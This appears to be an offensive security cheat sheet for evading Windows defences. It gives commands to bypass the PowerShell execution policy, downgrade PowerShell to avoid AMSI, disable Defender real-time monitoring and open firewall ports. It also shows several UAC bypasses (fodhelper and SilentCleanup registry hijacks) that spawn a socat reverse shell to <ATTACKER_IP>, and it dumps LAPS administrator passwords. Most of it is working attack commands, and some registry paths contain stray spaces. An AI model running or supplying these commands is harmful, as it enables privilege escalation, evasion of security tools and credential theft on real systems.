Security Products Windows PowerShell Bypass Execution Policy # Get Current PS Execution Policy
Get-ExecutionPolicy -List
# Override
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process Version Downgrade Logging:Applications and Services Logs > Microsoft > Windows > PowerShell > Operational > PowerShell OperationalApplications and Services Logs > Windows PowerShell > Windows PowerShell Version 2 is nice because it has no AMSI and Script Block Logging.
# Show Shell's current PS Version
Get-Host
# Get ALL PS Version
reg.exe query "HKLM\SOFTWARE\Microsoft\PowerShell" /s | findstr /i "Version"
# PowerShell v2 Installed?
powershell.exe -version 2 -c " $PSVersionTable.PSVersion" Constrained Language Mode $ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage = locked down
# FullLanguage = no problems Windows Defender # Check WinDefend service
sc.exe query windefend
# Check Status
Get-MpComputerStatus
# Enable WinDefend
Set-MpPreference -DisableRealtimeMonitoring $false
C:\Windows\System32\WindowsPowerShell\v1.0 \powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $false"
# Disable WinDefend realtime monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
C:\Windows\System32\WindowsPowerShell\v1.0 \powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true" Windows Firewall # Show state of all profiles
netsh advfirewall show allprofiles # Add Firewall Exception
netsh advfirewall firewall add rule name= <NAME> dir= in action= allow protocol= TCP localport= <PORT> Bypass UAC NOTE: These works when UAC is NOT “Always Notify”
# msconfig
WIN+R > msconfig > Tools > Select "Command Prompt" > Launch
# azman.msc
Help > Help Topics > Right-Click > View Source > Show "All Files" > Search and Select "cmd.exe" > Right-Click > Open
# Fodhelper.exe w/ Socat
nc -nvlp <PORT>
set REG_KEY= HKCU\S oftware\C lasses\m s-settings\S hell\O pen\c ommand
set CMD= "powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes"
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
reg add %REG_KEY% /d %CMD% /f & fodhelper.exe
whoami /groups
// success HIGH!
reg delete HKCU\S oftware\C lasses\m s-settings\ /f
reg query %REG_KEY% /v ""
# WinDefend-Safe UAC Bypass w/ Socat
powershell.exe
$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes"
New-Item "HKCU:\Software\Classes\.update\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.update\Shell\Open\command" -Name "(default)" -Value $program -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".update" -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
// success!
reg delete "HKCU\Software\Classes\.update\" /f
reg delete " HKCU\S oftware\C lasses\m s-settings\" /f
# "Always Notify"-Safe UAC Bypass (but NOT WinDefend-Safe)
nc -lvnp <PORT>
reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes &REM " /f
schtasks /run /tn \M icrosoft\W indows\D iskCleanup\S ilentCleanup /I
// success!
reg delete "HKCU\Environment" /v "windir" /f
# Auto-Bypass (up-to-date)
# https://github.com/hfiref0x/UACME
C:\t ools\U ACME-Akagi64.exe 33 AppLocker Built-in application whitelister. Commonly cmd.exe and powershell.exe will be blocked, but PowerShell lives in multiple locations:
# Get Rules
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections Local Administrator Password Solution (LAPS) If using BloodHound check for ReadLAPSPassword in graph.
# Enumerate who can read LAPS
nxc smb <DC_IP> -u <USER> -p <PASS> --laps
# Dump the passwords (if able)
nxc smb <TARGET> -u <USER> -p <PASS> --laps
---
# OUT OF DATE
# https://github.com/leoloobeek/LAPSToolkit
wget https://raw.githubusercontent.com/leoloobeek/LAPSToolkit/refs/heads/master/LAPSToolkit.ps1
Import-Module LAPSToolkit.ps1
# Scans OUs for groups "LAPS Admins" that can read LAPS passwords on all computers in the OU
Find-LAPSDelegatedGroups
# Scans Computer Objects for who has "All Extended Rights" and read passwords
Find-AdmPwdExtendedRights
# Enum computers with LAPS extension and attempts password dump
Get-LAPSComputers